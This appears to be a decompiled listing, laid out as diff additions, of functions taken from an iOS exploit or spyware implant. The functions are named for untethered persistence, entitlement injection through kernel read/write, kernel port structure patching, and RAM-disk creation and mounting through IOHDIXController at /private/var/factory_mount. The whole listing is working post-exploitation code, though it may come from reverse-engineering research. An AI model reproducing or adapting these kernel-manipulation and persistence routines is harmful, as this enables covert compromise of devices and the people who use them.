sub_1FC94(__int64 a1) +{ + __int64 result; // x0 + char *f_mntonname; // [xsp+8h] [xbp-8B8h] BYREF + __int64 v4; // [xsp+10h] [xbp-8B0h] + unsigned int v5; // [xsp+18h] [xbp-8A8h] + statfs v6; // [xsp+20h] [xbp-8A0h] BYREF + + bzero(&v6, 0x878uLL); + LODWORD(result) = sub_1FD98(&v6); + if ( (_DWORD)result ) + { + if ( (_DWORD)result == 0xAD011 ) + return 0LL; + else + return (unsigned int)result; + } + else + { + f_mntonname = v6.f_mntonname; + v4 = 0LL; + v5 = 0xAD001; + if ( pthread_create_and_join(a1, (__int64)sub_20490, &f_mntonname) ) + result = v5; + else + result = 0xAD00BLL; + if ( !(_DWORD)result ) + { + f_mntonname = v6.f_mntfromname; + v4 = 0LL; + v5 = 0xAD001; + if ( pthread_create_and_join(a1, (__int64)sub_20524, &f_mntonname) ) + return v5; + else + return 0xAD00BLL; + } + } + return result; +} + +//----- (000000000001FD98) ---------------------------------------------------- +__int64 __fastcall sub_1FD98(statfs *a1) +{ + __int64 v2; // x19 + int v3; // w19 + int v4; // w8 + + v2 = 0xAD011LL; + if ( statfs("/private/var/factory_mount", a1) ) + { + if ( *__error() != 2 ) + { + v3 = *__error(); + v4 = *__error(); + if ( v3 < 0 ) + v4 = -v4; + return v4 | 0x40000000u; + } + } + else if ( !strcmp("/private/var/factory_mount", a1->f_mntonname) ) + { + if ( !strcmp("hfs", a1->f_fstypename) ) + return 0LL; + else + return 0xAD005LL; + } + return v2; +} + +//----- (000000000001FE38) ---------------------------------------------------- +__int64 __fastcall driver_cmd_setup_untethered_persistence_maybe(__int64 a1, int a2) +{ + __int64 st_uid; // x22 + CFMutableDictionaryRef Mutable; // x0 + CFMutableDictionaryRef v6; // x21 + size_t v7; // x0 + CFDataRef v8; // x0 + CFDataRef v9; // x23 + CFNumberRef v10; // x0 + CFNumberRef v11; // x24 + const __CFData *Data; // x0 + const __CFData *v13; // x25 + size_t Length; // x22 + void *v15; // x20 + const UInt8 *BytePtr; // x0 + __darwin_ino64_t v17; // x28 + IONotificationPort *v18; // x0 + IONotificationPort *v19; // x22 + CFRunLoopSourceRef RunLoopSource; // x0 + __CFRunLoopSource *v21; // x23 + __CFRunLoop *Current; // x0 + const __CFDictionary *v23; // x21 + void (__cdecl *v24)(void *, io_iterator_t); // x0 + kern_return_t v25; // w0 + int v26; // w25 + char *v27; // x21 + __CFRunLoop *v28; // x0 + int v30; // w22 + unsigned int v31; // w25 + CFRunLoopRunResult v32; // w0 + uint64_t valuePtr; // [xsp+8h] [xbp-A18h] BYREF + unsigned int v34; // [xsp+10h] [xbp-A10h] + statfs v35; // [xsp+88h] [xbp-998h] BYREF + io_iterator_t notification[2]; // [xsp+900h] [xbp-120h] BYREF + const char *v37; // [xsp+908h] [xbp-118h] + uint64_t *p_valuePtr; // [xsp+910h] [xbp-110h] + __int64 v39; // [xsp+918h] [xbp-108h] + stat __str; // [xsp+920h] [xbp-100h] BYREF + + bzero(&v35, 0x878uLL); + st_uid = sub_1FD98(&v35); + if ( (_DWORD)st_uid != 0xAD011 ) + return st_uid; + __str.st_dev = 0xAD001; + st_uid = pthread_create_and_join(a1, (__int64)sub_1F828, &__str) ? (unsigned int)__str.st_dev : 0xAD00BLL; + if ( (_DWORD)st_uid ) + return st_uid; + valuePtr = mach_absolute_time(); + Mutable = CFDictionaryCreateMutable( + kCFAllocatorDefault, + 1LL, + &kCFTypeDictionaryKeyCallBacks, + &kCFTypeDictionaryValueCallBacks); + if ( !Mutable ) + return 0xAD009LL; + v6 = Mutable; + snprintf((char *)&__str, 0x40uLL, "ram://%u", a2 << 0xB); + v7 = strlen((const char *)&__str); + v8 = CFDataCreate(kCFAllocatorDefault, (const UInt8 *)&__str, v7); + if ( !v8 ) + { + CFRelease(v6); + return 0xAD009LL; + } + v9 = v8; + v10 = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt64Type, &valuePtr); + if ( v10 ) + { + v11 = v10; + CFDictionaryAddValue(v6, CFSTR("autodiskmount"), kCFBooleanFalse); + CFDictionaryAddValue(v6, CFSTR("ota-unique-identifier"), v11); + CFDictionaryAddValue(v6, CFSTR("image-path"), v9); + Data = CFPropertyListCreateData(kCFAllocatorDefault, v6, kCFPropertyListXMLFormat_v1_0, 0LL, 0LL); + if ( Data ) + { + v13 = Data; + Length = CFDataGetLength(Data); + v15 = calloc(Length + 1, 1uLL); + if ( v15 ) + { + BytePtr = CFDataGetBytePtr(v13); + memcpy(v15, BytePtr, Length); + st_uid = 0LL; + v17 = valuePtr; + } + else + { + v17 = 0LL; + st_uid = 0xAD009LL; + } + CFRelease(v13); + } + else + { + v15 = 0LL; + v17 = 0LL; + st_uid = 0xAD009LL; + } + CFRelease(v11); + } + else + { + v15 = 0LL; + v17 = 0LL; + st_uid = 0xAD009LL; + } + CFRelease(v9); + CFRelease(v6); + if ( !(_DWORD)st_uid ) + { + valuePtr = (uint64_t)v15; + v34 = 0xAD00B; + if ( !a1 || !v15 ) + { + st_uid = 0xAD001LL; + goto LABEL_38; + } + st_uid = 0xAD001LL; + if ( v17 ) + { + st_uid = 0xAD00BLL; + if ( (unsigned int)krw_inject_entitlements2_maybe( + a1, + mach_task_self_, + "com.apple.private.diskimages.kext.user-client-accesscom.apple.pr" + "ivate.security.disk-device-accesscom.apple.security.iokit-user-client-class" + "IOHDIXControllerUserClient", + 1) ) + { + if ( pthread_create_and_join(a1, (__int64)sub_2062C, &valuePtr) ) + { + st_uid = v34; + if ( !v34 ) + { + *(_QWORD *)&__str.st_dev = 0LL; + __str.st_ino = v17; + notification[0] = 0; + v18 = IONotificationPortCreate(kIOMasterPortDefault); + if ( !v18 ) + { + v26 = 6; + goto LABEL_37; + } + v19 = v18; + RunLoopSource = IONotificationPortGetRunLoopSource(v18); + if ( !RunLoopSource ) + { + IONotificationPortDestroy(v19); + v26 = 0x1D; + goto LABEL_37; + } + v21 = RunLoopSource; + Current = CFRunLoopGetCurrent(); + CFRunLoopAddSource(Current, v21, kCFRunLoopDefaultMode); + v23 = IOServiceMatching("IOMedia"); + v24 = (void (__cdecl *)(void *, io_iterator_t))nullsub_1(sub_20780); + v25 = IOServiceAddMatchingNotification(v19, "IOServiceMatched", v23, v24, &__str, notification); + if ( v25 ) + { + v26 = v25; + v27 = 0LL; + goto LABEL_36; + } + sub_20780((__int64)&__str, notification[0]); + v27 = *(char **)&__str.st_dev; + if ( *(_QWORD *)&__str.st_dev ) + { +LABEL_34: + v26 = 0; + *(_QWORD *)&__str.st_dev = 0LL; + goto LABEL_35; + } + v31 = 0; + while ( 1 ) + { + v32 = CFRunLoopRunInMode(kCFRunLoopDefaultMode, 1.0, 1u); + if ( v32 == kCFRunLoopRunTimedOut ) + { + ++v31; + } + else if ( v32 != kCFRunLoopRunHandledSource ) + { + if ( (unsigned int)(v32 - 1) < 2 ) + { + v27 = *(char **)&__str.st_dev; + if ( *(_QWORD *)&__str.st_dev ) + goto LABEL_34; + goto LABEL_59; + } + v27 = 0LL; + v26 = 0x12; +LABEL_35: + IOObjectRelease(notification[0]); +LABEL_36: + v28 = CFRunLoopGetCurrent(); + CFRunLoopRemoveSource(v28, v21, kCFRunLoopDefaultMode); + IONotificationPortDestroy(v19); + if ( v26 ) + { +LABEL_37: + st_uid = v26 | 0x80000000; + break; + } + snprintf((char *)&valuePtr, 0x80uLL, "/dev/%s", v27); + memset(&__str, 0, sizeof(__str)); + *(_QWORD *)notification = "/sbin/newfs_hfs"; + v37 = "-P"; + p_valuePtr = &valuePtr; + v39 = 0LL; + st_uid = sub_2B788((const char **)notification); + if ( !(_DWORD)st_uid ) + { + v30 = 0x3E8; + while ( lstat((const char *)&valuePtr, &__str) || (__str.st_mode & 0xF000) != 0x6000 ) + { + usleep(0x4E20u); + if ( !--v30 ) + { + st_uid = 0xAD018LL; + goto LABEL_46; + } + } + *(_QWORD *)&__str.st_dev = "/private/var/factory_mount"; + __str.st_ino = (__darwin_ino64_t)&valuePtr; + __str.st_uid = 0xAD001; + if ( pthread_create_and_join(a1, (__int64)sub_1F7CC, &__str) ) + { + st_uid = __str.st_uid; + if ( !__str.st_uid ) + { +LABEL_47: + free(v27); + break; + } + } + else + { + st_uid = 0xAD00BLL; + } + } +LABEL_46: + *(_QWORD *)&__str.st_dev = &valuePtr; + __str.st_ino = 0LL; + __str.st_uid = 0xAD001; + pthread_create_and_join(a1, (__int64)sub_20524, &__str); + goto LABEL_47; + } + v27 = *(char **)&__str.st_dev; + if ( *(_QWORD *)&__str.st_dev || v31 >= 0xA ) + { + if ( *(_QWORD *)&__str.st_dev ) + goto LABEL_34; +LABEL_59: + v26 = 0x31; + goto LABEL_35; + } + } + } + } + } + } +LABEL_38: + free(v15); + } + return st_uid; +} +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); +// 44958: using guessed type __CFString cfstr_Autodiskmount; +// 44978: using guessed type __CFString cfstr_OtaUniqueIdent; +// 44998: using guessed type __CFString cfstr_ImagePath; + +//----- (00000000000203B0) ---------------------------------------------------- +__int64 __fastcall sub_203B0(__int64 a1, _DWORD *a2, char *a3) +{ + __int64 result; // x0 + statfs v6; // [xsp+0h] [xbp-8A0h] BYREF + + bzero(&v6, 0x878uLL); + result = sub_1FD98(&v6); + if ( (_DWORD)result == 0xAD011 ) + { + result = 0LL; + *a2 = 0; + *a3 = 0; + } + else if ( !(_DWORD)result ) + { + *a2 = 4; + strlcpy(a3, v6.f_mntonname, 0x400uLL); + return 0LL; + } + return result; +} + +//----- (0000000000020468) ---------------------------------------------------- +__int64 __fastcall sub_20468(__int64 a1, __int64 a2, int a3) +{ + if ( sub_22464(a1, a2, a3) ) + return 0LL; + else + return 0xAD00BLL; +} + +//----- (0000000000020490) ---------------------------------------------------- +int *__fastcall sub_20490(__int64 a1) +{ + unsigned int v2; // w21 + int v3; // w20 + int *result; // x0 + int v5; // w22 + int v6; // w8 + int v7; // w8 + + v2 = 0; + v3 = 0x40000010; + while ( 1 ) + { + result = (int *)unmount(*(const char **)a1, 0x80000); + if ( !(_DWORD)result ) + { + v3 = 0; + goto LABEL_11; + } + v5 = *__error(); + result = __error(); + v6 = *result; + if ( v5 < 0 ) + v6 = -v6; + v7 = v6 | 0x40000000; + if ( v7 != 0x40000010 ) + break; + result = (int *)usleep(0xC8u); + if ( v2++ >= 4 ) + goto LABEL_11; + } + v3 = v7; +LABEL_11: + *(_DWORD *)(a1 + 0x10) = v3; + return result; +} + +//----- (0000000000020524) ---------------------------------------------------- +int *__fastcall sub_20524(__int64 a1) +{ + const char *v2; // x20 + int *result; // x0 + int v4; // w21 + int v5; // w0 + int v6; // w20 + int v7; // w21 + int v8; // w8 + int v9; // w20 + int v10; // w8 + stat v11; // [xsp+10h] [xbp-B0h] BYREF + + memset(&v11, 0, sizeof(v11)); + v2 = *(const char **)a1; + result = (int *)stat(*(const char **)a1, &v11); + if ( (_DWORD)result ) + { + result = __error(); + if ( *result == 2 ) + { + v4 = 0; + goto LABEL_16; + } + goto LABEL_10; + } + if ( (v11.st_mode & 0xF000) != 0x6000 ) + { + v4 = 0xAD013; + goto LABEL_16; + } + v5 = open(v2, 0); + if ( v5 < 0 ) + { +LABEL_10: + v9 = *__error(); + result = __error(); + v10 = *result; + if ( v9 < 0 ) + v10 = -v10; + v4 = v10 | 0x40000000; + goto LABEL_16; + } + v6 = v5; + if ( ioctl(v5, 0x20006415uLL, 0LL) ) + { + v7 = *__error(); + v8 = *__error(); + if ( v7 < 0 ) + v8 = -v8; + v4 = v8 | 0x40000000; + } + else + { + v4 = 0; + } + result = (int *)close(v6); +LABEL_16: + *(_DWORD *)(a1 + 0x10) = v4; + return result; +} + +//----- (000000000002062C) ---------------------------------------------------- +const __CFDictionary *__fastcall sub_2062C(const __CFDictionary *result) +{ + const __CFDictionary *v1; // x19 + io_object_t v2; // w20 + kern_return_t v3; // w0 + kern_return_t v4; // w0 + unsigned int v5; // w8 + int outputStruct; // [xsp+4h] [xbp-13Ch] BYREF + size_t outputStructCnt; // [xsp+8h] [xbp-138h] BYREF + io_connect_t connect; // [xsp+14h] [xbp-12Ch] BYREF + __int64 inputStruct; // [xsp+18h] [xbp-128h] BYREF + const char *v10; // [xsp+20h] [xbp-120h] + size_t v11; // [xsp+28h] [xbp-118h] + __int128 v12; // [xsp+30h] [xbp-110h] + __int128 v13; // [xsp+40h] [xbp-100h] + __int128 v14; // [xsp+50h] [xbp-F0h] + __int128 v15; // [xsp+60h] [xbp-E0h] + __int128 v16; // [xsp+70h] [xbp-D0h] + __int128 v17; // [xsp+80h] [xbp-C0h] + __int128 v18; // [xsp+90h] [xbp-B0h] + __int128 v19; // [xsp+A0h] [xbp-A0h] + __int128 v20; // [xsp+B0h] [xbp-90h] + __int128 v21; // [xsp+C0h] [xbp-80h] + __int128 v22; // [xsp+D0h] [xbp-70h] + __int128 v23; // [xsp+E0h] [xbp-60h] + __int128 v24; // [xsp+F0h] [xbp-50h] + __int128 v25; // [xsp+100h] [xbp-40h] + __int64 v26; // [xsp+110h] [xbp-30h] + + if ( result ) + { + v1 = result; + result = sub_24D64("IOHDIXController"); + if ( (unsigned int)((_DWORD)result + 1) < 2 ) + { + *((_DWORD *)v1 + 2) = 0xAD011; + } + else + { + v2 = (unsigned int)result; + connect = 0; + v3 = IOServiceOpen((io_service_t)result, mach_task_self_, 0, &connect); + if ( v3 ) + { + *((_DWORD *)v1 + 2) = v3 | 0x80000000; + } + else + { + outputStructCnt = 4LL; + outputStruct = 0; + v12 = 0u; + v13 = 0u; + v14 = 0u; + v15 = 0u; + v16 = 0u; + v17 = 0u; + v18 = 0u; + v19 = 0u; + v20 = 0u; + v21 = 0u; + v22 = 0u; + v23 = 0u; + v24 = 0u; + v25 = 0u; + v26 = 0LL; + inputStruct = 0x1BEEFFEEDLL; + v10 = *(const char **)v1; + v11 = strlen(v10); + v4 = IOConnectCallStructMethod(connect, 0, &inputStruct, 0x100uLL, &outputStruct, &outputStructCnt); + v5 = v4 | 0x80000000; + if ( !v4 ) + v5 = 0; + *((_DWORD *)v1 + 2) = v5; + IOServiceClose(connect); + } + return (const __CFDictionary *)IOObjectRelease(v2); + } + } + return result; +} + +//----- (0000000000020780) ---------------------------------------------------- +__int64 __fastcall sub_20780(__int64 a1, io_iterator_t iterator) +{ + __int64 result; // x0 + io_registry_entry_t v5; // w22 + const __CFNumber *v6; // x0 + const __CFNumber *v7; // x26 + CFTypeID v8; // x27 + const __CFString *CFProperty; // x0 + const __CFString *v10; // x27 + CFTypeID v11; // x28 + CFStringEncoding SystemEncoding; // w0 + __int64 valuePtr; // [xsp+8h] [xbp-E8h] BYREF + char buffer[16]; // [xsp+10h] [xbp-E0h] BYREF + __int128 v15; // [xsp+20h] [xbp-D0h] + __int128 v16; // [xsp+30h] [xbp-C0h] + __int128 v17; // [xsp+40h] [xbp-B0h] + __int128 v18; // [xsp+50h] [xbp-A0h] + __int128 v19; // [xsp+60h] [xbp-90h] + __int128 v20; // [xsp+70h] [xbp-80h] + __int128 v21; // [xsp+80h] [xbp-70h] + + valuePtr = 0LL; + v20 = 0u; + v21 = 0u; + v18 = 0u; + v19 = 0u; + v16 = 0u; + v17 = 0u; + *(_OWORD *)buffer = 0u; + v15 = 0u; + result = IOIteratorNext(iterator); + if ( (_DWORD)result ) + { + v5 = result; + do + { + v6 = (const __CFNumber *)IORegistryEntrySearchCFProperty( + v5, + "IOService", + CFSTR("ota-unique-identifier"), + kCFAllocatorDefault, + 3u); + if ( v6 ) + { + v7 = v6; + v8 = CFGetTypeID(v6); + if ( v8 == CFNumberGetTypeID() + && CFNumberGetValue(v7, kCFNumberSInt64Type, &valuePtr) == 1 + && valuePtr == *(_QWORD *)(a1 + 8) ) + { + CFProperty = (const __CFString *)IORegistryEntryCreateCFProperty( + v5, + CFSTR("BSD Name"), + kCFAllocatorDefault, + 0); + if ( CFProperty ) + { + v10 = CFProperty; + v11 = CFGetTypeID(CFProperty); + if ( v11 == CFStringGetTypeID() ) + { + SystemEncoding = CFStringGetSystemEncoding(); + if ( CFStringGetCString(v10, buffer, 0x80LL, SystemEncoding) == 1 ) + { + if ( *(_QWORD *)a1 ) + free(*(void **)a1); + *(_QWORD *)a1 = strdup(buffer); + } + } + CFRelease(v10); + } + } + CFRelease(v7); + } + IOObjectRelease(v5); + result = IOIteratorNext(iterator); + v5 = result; + } + while ( (_DWORD)result ); + } + return result; +} +// 44978: using guessed type __CFString cfstr_OtaUniqueIdent; +// 449B8: using guessed type __CFString cfstr_BsdName; + +//----- (0000000000020930) ---------------------------------------------------- +__int64 __fastcall sub_20930(__int64 a1, __int64 *a2, __int64 a3) +{ + __int64 v4; // x21 + _QWORD *v5; // x9 + int v6; // w10 + size_t v7; // x8 + __int64 v8; // x22 + unsigned int v9; // w10 + size_t *p_src; // x20 + void *v11; // x0 + size_t v12; // x2 + size_t *v13; // x1 + size_t v15; // [xsp+0h] [xbp-30h] BYREF + __int64 __src; // [xsp+8h] [xbp-28h] BYREF + + if ( *((_BYTE *)a2 + 0x40) ) + { + __src = a3; + v4 = a2[4]; + if ( v4 ) + { + v5 = a2 + 5; + } + else + { + v5 = a2 + 1; + v4 = *a2; + } + v6 = *((_DWORD *)a2 + 0x12); + v7 = *(int *)(a1 + 0x168); + v8 = (unsigned int)(v6 + 2 * v7); + v9 = 3 * v7 + v6; + if ( a3 ) + { + p_src = (size_t *)&__src; + v15 = v8 - v7 + *v5; + } + else + { + p_src = &v15; + v15 = 0LL; + } + memcpy((void *)(v4 + v9), &v15, v7); + v11 = (void *)(v4 + v8); + v12 = *(int *)(a1 + 0x168); + v13 = p_src; + } + else + { + if ( a3 ) + __src = a3 - *((unsigned int *)a2 + 0x19); + else + __src = 0LL; + v11 = (void *)(*a2 + *((unsigned int *)a2 + 0x17) + 0x200); + v12 = *(int *)(a1 + 0x168); + v13 = (size_t *)&__src; + } + memcpy(v11, v13, v12); + return 0LL; +} + +//----- (0000000000020A14) ---------------------------------------------------- +__int64 __fastcall sub_20A14(__int64 a1, int a2, char a3) +{ + __int64 v5; // x22 + unsigned int v6; // w23 + __int64 v7; // x19 + unsigned __int64 v8; // x0 + bool v9; // cf + unsigned __int64 v10; // x0 + unsigned int v11; // w23 + bool v12; // zf + unsigned int v14; // w21 + unsigned __int64 v15; // x0 + unsigned __int64 v16; // x0 + unsigned int v17; // w21 + + v5 = *(_QWORD *)(a1 + 0x20); + if ( (a3 & 1) == 0 && (!a2 || v5) ) + goto LABEL_19; + v6 = 0; + v7 = 0x28009LL; + while ( 1 ) + { + v8 = write(*(_DWORD *)(a1 + 0x18), *(const void **)a1, *(unsigned int *)(a1 + 0x10)); + if ( v8 != 0xFFFFFFFFFFFFFFFFLL ) + break; + if ( *__error() == 4 ) + { + v9 = v6++ >= 0x64; + if ( !v9 ) + continue; + } + return v7; + } + if ( !HIDWORD(v8) && *(_DWORD *)(a1 + 0x10) == (_DWORD)v8 ) + { + v10 = read(*(_DWORD *)(a1 + 0x14), *(void **)a1, (unsigned int)v8); + if ( v10 == 0xFFFFFFFFFFFFFFFFLL ) + { + v11 = 0; + while ( *__error() == 4 && v11 <= 0x63 ) + { + ++v11; + v10 = read(*(_DWORD *)(a1 + 0x14), *(void **)a1, *(unsigned int *)(a1 + 0x10)); + if ( v10 != 0xFFFFFFFFFFFFFFFFLL ) + goto LABEL_17; + } + return 0x2800ALL; + } +LABEL_17: + v7 = 0x2800ALL; + if ( !HIDWORD(v10) && *(_DWORD *)(a1 + 0x10) == (_DWORD)v10 ) + { +LABEL_19: + if ( v5 ) + v12 = a2 == 0; + else + v12 = 1; + if ( v12 ) + return 0LL; + v14 = 0; + v7 = 0x28009LL; + while ( 1 ) + { + v15 = write(*(_DWORD *)(a1 + 0x38), *(const void **)(a1 + 0x20), *(unsigned int *)(a1 + 0x30)); + if ( v15 != 0xFFFFFFFFFFFFFFFFLL ) + break; + if ( *__error() == 4 ) + { + v9 = v14++ >= 0x64; + if ( !v9 ) + continue; + } + return v7; + } + if ( !HIDWORD(v15) && *(_DWORD *)(a1 + 0x30) == (_DWORD)v15 ) + { + v16 = read(*(_DWORD *)(a1 + 0x34), *(void **)(a1 + 0x20), (unsigned int)v15); + if ( v16 == 0xFFFFFFFFFFFFFFFFLL ) + { + v17 = 0; + while ( *__error() == 4 && v17 <= 0x63 ) + { + ++v17; + v16 = read(*(_DWORD *)(a1 + 0x34), *(void **)(a1 + 0x20), *(unsigned int *)(a1 + 0x30)); + if ( v16 != 0xFFFFFFFFFFFFFFFFLL ) + goto LABEL_38; + } + return 0x2800ALL; + } +LABEL_38: + v7 = 0x2800ALL; + if ( !HIDWORD(v16) && *(_DWORD *)(a1 + 0x30) == (_DWORD)v16 ) + return 0LL; + } + } + } + return v7; +} + +//----- (0000000000020C00) ---------------------------------------------------- +__int64 __fastcall sub_20C00(__int64 a1, __int64 a2, __int64 a3, int *a4) +{ + __int64 result; // x0 + int x; // [xsp+Ch] [xbp-14h] BYREF + + sub_20930(a1, (__int64 *)a2, a3); + result = sub_20A14(a2, 0, 1); + if ( !(_DWORD)result ) + { + result = pid_for_task(*(_DWORD *)(a2 + 0x3C), &x); + if ( (_DWORD)result ) + return (unsigned int)result | 0x80000000; + else + *a4 = x; + } + return result; +} + +//----- (0000000000020C64) ---------------------------------------------------- +__int64 __fastcall sub_20C64(__int64 a1, __int64 a2, __int64 a3, int *a4) +{ + __int64 result; // x0 + integer_t port_info_out; // [xsp+8h] [xbp-28h] BYREF + mach_msg_type_number_t port_info_outCnt; // [xsp+Ch] [xbp-24h] BYREF + __int64 vars8; // [xsp+38h] [xbp+8h] + + if ( *(_BYTE *)(a2 + 0x40) ) + { + sub_20930(a1, (__int64 *)a2, a3); + result = sub_20A14(a2, 1, 0); + if ( !(_DWORD)result ) + { + port_info_outCnt = 1; + result = mach_port_get_attributes(mach_task_self_, *(_DWORD *)(a2 + 0x3C), 3, &port_info_out, &port_info_outCnt); + if ( (_DWORD)result ) + return (unsigned int)result | 0x80000000; + else + *a4 = port_info_out; + } + } + else + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return sub_20C00(a1, a2, a3, a4); + } + return result; +} + +//----- (0000000000020D24) ---------------------------------------------------- +__int64 __fastcall sub_20D24(__int64 a1, __int64 a2, __int64 a3, unsigned __int64 *a4) +{ + __int64 result; // x0 + unsigned int v9; // [xsp+8h] [xbp-28h] BYREF + unsigned int v10; // [xsp+Ch] [xbp-24h] BYREF + + result = sub_20C64(a1, a2, a3, (int *)&v10); + if ( !(_DWORD)result ) + { + result = sub_20C64(a1, a2, a3 + 4, (int *)&v9); + if ( !(_DWORD)result ) + *a4 = v10 | ((unsigned __int64)v9 << 0x20); + } + return result; +} + +//----- (0000000000020D90) ---------------------------------------------------- +__int64 __fastcall sub_20D90(__int64 a1, __int64 a2, unsigned __int64 a3, int a4, unsigned __int64 *a5) +{ + __int64 v10; // x19 + __int64 v11; // x0 + unsigned int v12; // w26 + unsigned int v13; // w24 + unsigned __int64 v14; // x0 + unsigned __int64 v15; // x28 + __int64 v16; // x27 + unsigned __int64 i; // x24 + __int64 v18; // x0 + int v19; // w8 + unsigned __int64 v20; // x10 + unsigned __int64 v21; // x9 + int v22; // w11 + unsigned __int64 v23; // x26 + int v24; // w8 + unsigned __int64 v25; // x10 + unsigned __int64 v26; // x9 + int v27; // w11 + unsigned int v29; // [xsp+Ch] [xbp-64h] + unsigned __int64 v30; // [xsp+10h] [xbp-60h] + int v31; // [xsp+1Ch] [xbp-54h] BYREF + + v10 = 0x2800CLL; + v11 = sub_32BC8(a1); + if ( !(_DWORD)v11 ) + return 0x2800BLL; + if ( !a3 ) + return 0x28008LL; + v12 = v11; + v13 = sub_401A4(a1, v11); + v14 = sub_40364(a1, a3, v12, v13); + if ( !v14 ) + return 0x28026LL; + v15 = v14; + v29 = v13; + v30 = *(_QWORD *)(a1 + 0x158); + v16 = v12; + if ( v14 <= a3 ) + { + i = a3; + do + { + if ( a2 ) + { + v18 = sub_20C64(a1, a2, i, &v31); + if ( (_DWORD)v18 ) + return v18; + } + else if ( !kread32_outptr(a1, i, &v31) ) + { + return 0x2800FLL; + } + v19 = v31 & 0x3FF; + if ( v30 < 0x1C1B1914600000LL ) + { + if ( v19 == a4 ) + goto LABEL_47; + if ( v19 != 0x11 ) + { + v20 = 0LL; + do + { + v21 = v20; + if ( v20 == 9 ) + break; + v22 = dword_43428[++v20]; + } + while ( v22 != v19 ); + if ( v21 > 8 ) + break; + } + } + else if ( a4 == 2 && v19 == 2 ) + { + if ( !(unsigned int)sub_21060((_DWORD *)a1, a2, v31, i) ) + goto LABEL_47; + } + else if ( v19 == a4 ) + { +LABEL_47: + v10 = 0LL; + *a5 = i; + return v10; + } + i -= v12; + } + while ( i >= v15 ); + } + v23 = v29 - (unsigned __int64)v12 + v15; + for ( i = v16 + a3; i <= v23; i += v16 ) + { + if ( a2 ) + { + v18 = sub_20C64(a1, a2, i, &v31); + if ( (_DWORD)v18 ) + return v18; + } + else if ( !kread32_outptr(a1, i, &v31) ) + { + return 0x2800FLL; + } + v24 = v31 & 0x3FF; + if ( v30 < 0x1C1B1914600000LL ) + { + if ( v24 == a4 ) + goto LABEL_47; + if ( v24 != 0x11 ) + { + v25 = 0LL; + do + { + v26 = v25; + if ( v25 == 9 ) + break; + v27 = dword_43428[++v25]; + } + while ( v27 != v24 ); + if ( v26 > 8 ) + return v10; + } + } + else if ( a4 == 2 && v24 == 2 ) + { + if ( !(unsigned int)sub_21060((_DWORD *)a1, a2, v31, i) ) + goto LABEL_47; + } + else if ( v24 == a4 ) + { + goto LABEL_47; + } + } + return v10; +} +// 43428: using guessed type _DWORD dword_43428[10]; + +//----- (0000000000021060) ---------------------------------------------------- +__int64 __fastcall sub_21060(_DWORD *a1, __int64 a2, __int16 a3, __int64 a4) +{ + __int64 v6; // x0 + __int64 v7; // x21 + unsigned __int64 v8; // x1 + unsigned int v9; // w0 + unsigned __int64 v10; // x8 + unsigned __int64 v12; // [xsp+8h] [xbp-28h] BYREF + + if ( (a3 & 0x7FF) != 2 ) + return 0x28008LL; + v6 = sub_32820((__int64)a1, a4); + v12 = v6; + if ( !v6 ) + return 0x28026LL; + if ( a2 ) + { + v7 = sub_20D24((__int64)a1, a2, v6, &v12); + if ( (_DWORD)v7 ) + return v7; + v8 = sub_29CB0(a1, v12); + v12 = v8; + } + else + { + if ( !kread64(a1, v6, (__int64 *)&v12) ) + return 0x2800FLL; + v8 = v12; + } + if ( !validate_addr((__int64)a1, v8) ) + return 0x28026LL; + v9 = sub_3338C((__int64)a1); + v7 = 0x28026LL; + if ( !v9 ) + return v7; + v10 = v12 + v9; + if ( a2 ) + { + v7 = sub_20D24((__int64)a1, a2, v10, &v12); + if ( !(_DWORD)v7 ) + { + v12 = sub_29CB0(a1, v12); + v7 = sub_20D24((__int64)a1, a2, v12 + 0x20, &v12); + if ( !(_DWORD)v7 ) + { +LABEL_20: + if ( validate_addr((__int64)a1, v12) ) + return 0LL; + else + return 0x28026LL; + } + } + } + else + { + v7 = 0x2800FLL; + if ( kread64(a1, v10, (__int64 *)&v12) && kread64(a1, v12 + 0x20, (__int64 *)&v12) ) + goto LABEL_20; + } + return v7; +} + +//----- (00000000000211F4) ---------------------------------------------------- +__int64 __fastcall sub_211F4(__int64 a1, __int64 a2, unsigned __int64 a3, unsigned __int64 *a4) +{ + return sub_20D90(a1, a2, a3, 2, a4); +} + +//----- (0000000000021200) ---------------------------------------------------- +__int64 __fastcall sub_21200(__int64 a1) +{ + __int64 v2; // x19 + int v3; // w9 + unsigned __int64 v7; // x0 + mach_vm_address_t v8; // x21 + _DWORD v9[2]; // [xsp+8h] [xbp-28h] BYREF + + v2 = 0x28007LL; + v3 = *(_DWORD *)(a1 + 0x140); + if ( v3 > 0x1F52 ) + { + if ( (unsigned int)(v3 - 0x1F53) >= 2 && v3 != 0x2258 ) + return v2; +LABEL_12: + if ( (unsigned int)j__fileport_makeport() ) + return 0x2800DLL; + v7 = port_name_to_kaddr(a1, v9[1]); + if ( !v7 ) + return 0x2800ELL; + v8 = v7 + 0x14; + if ( !kread32_outptr(a1, v7 + 0x14, v9) ) + return 0x2800FLL; + if ( (unsigned int)(v9[0] - 1) > 9 ) + return 0x28011LL; + if ( noppl_kwrite32(a1, v8, 0xFFFF) ) + return 0LL; + return 0x28010LL; + } + if ( v3 == 0x1809 || v3 == 0x1C1B ) + goto LABEL_12; + return v2; +} + +//----- (0000000000021304) ---------------------------------------------------- +uint64_t __fastcall sub_21304(__int64 a1) +{ + __int64 v2; // x20 + uint64_t result; // x0 + __int64 i; // x8 + __int64 v5; // x10 + + v2 = *(_QWORD *)(a1 + 0x868); + result = mach_absolute_time(); + if ( v2 ) + { + if ( (result - *(_QWORD *)(a1 + 0x868)) * *(unsigned int *)(a1 + 0x25C) / *(unsigned int *)(a1 + 0x260) < 0x12A153440LL ) + return result; + for ( i = 0LL; i != 0x280; i += 0x28LL ) + { + v5 = a1 + 0x5E8 + i; + *(_QWORD *)(v5 + 0x20) = 0LL; + *(_OWORD *)v5 = 0uLL; + *(_OWORD *)(v5 + 0x10) = 0uLL; + } + result = mach_absolute_time(); + } + *(_QWORD *)(a1 + 0x868) = result; + return result; +} + +//----- (0000000000021388) ---------------------------------------------------- +unsigned __int64 __fastcall sub_21388(__int64 a1) +{ + unsigned __int64 result; // x0 + __int64 vars8; // [xsp+18h] [xbp+8h] + + result = sub_32D24(a1); + if ( result ) + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return sub_3492C(a1, result); + } + return result; +} +// 213B8: variable 'vars8' is possibly undefined + 